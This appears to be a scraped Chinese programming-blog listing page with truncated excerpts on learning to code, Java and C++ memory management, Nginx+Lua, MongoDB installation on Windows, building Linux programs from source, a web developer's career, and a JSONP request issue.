数据结构 编程 算法
不论你是想自己设计游戏,还是开发iPhone或安卓手机上的应用,还是仅仅为了娱乐,学习编程语言都是一条必经之路。编程语言种类繁多,用途各 异,然而一旦掌握其中之一,其他的也就迎刃而解。作为初学者,你可能要先从Java或HTML开始学,一旦掌握了一门编程语言,你就发挥无穷的想象,开发 各种神奇的软件啦。
1、确定目标
学习编程语言既充满乐趣,又充满挑战。有些花费多年时间学习一门编程语言的大学生到
Java面试十问之三:Java与C++内存回收机制的差别
HNUlanwei
java C++ finalize() 堆栈 内存回收
大家知道, Java 除了那 8 种基本类型以外,其他都是对象类型(又称为引用类型)的数据。 JVM 会把程序创建的对象存放在堆空间中,那什么又是堆空间呢?其实,堆( Heap)是一个运行时的数据存储区,从它可以分配大小各异的空间。一般,运行时的数据存储区有堆( Heap)和堆栈( Stack),所以要先看它们里面可以分配哪些类型的对象实体,然后才知道如何均衡使用这两种存储区。一般来说,栈中存放的
第二章 Nginx+Lua开发入门
jinnianshilongnian
nginx lua
Nginx入门
本文目的是学习Nginx+Lua开发,对于Nginx基本知识可以参考如下文章:
nginx启动、关闭、重启
http://www.cnblogs.com/derekchen/archive/2011/02/17/1957209.html
agentzh 的 Nginx 教程
http://openresty.org/download/agentzh-nginx-tutor
MongoDB windows安装 基本命令
liyonghui160com
windows安装
安装目录:
D:\MongoDB\
新建目录
D:\MongoDB\data\db
4.启动进城:
cd D:\MongoDB\bin
mongod -dbpath D:\MongoDB\data\db
&n
Linux下通过源码编译安装程序
pda158
linux
一、程序的组成部分 Linux下程序大都是由以下几部分组成: 二进制文件:也就是可以运行的程序文件 库文件:就是通常我们见到的lib目录下的文件 配置文件:这个不必多说,都知道 帮助文档:通常是我们在linux下用man命令查看的命令的文档
二、linux下程序的存放目录 linux程序的存放目录大致有三个地方: /etc, /b
WEB开发编程的职业生涯4个阶段
shw3588
编程 Web 工作 生活
觉得自己什么都会
2007年从学校毕业,凭借自己原创的ASP毕业设计,以为自己很厉害似的,信心满满去东莞找工作,找面试成功率确实很高,只是工资不高,但依旧无法磨灭那过分的自信,那时候什么考勤系统、什么OA系统、什么ERP,什么都觉得有信心,这样的生涯大概持续了约一年。
根本不是自己想的那样
2008年开始接触很多工作相关的东西,发现太多东西自己根本不会,都需要去学,不管是asp还是js,
遭遇jsonp同域下变作post请求的坑
vb2005xu
jsonp 同域post
今天迁移一个站点时遇到一个坑爹问题,同一个jsonp接口在跨域时都能调用成功,但是在同域下调用虽然成功,但是数据却有问题. 此处贴出我的后端代码片段
$mi_id = htmlspecialchars(trim($_GET['mi_id ']));
$mi_cv = htmlspecialchars(trim($_GET['mi_cv ']));
贴出我前端代码片段:
$.aj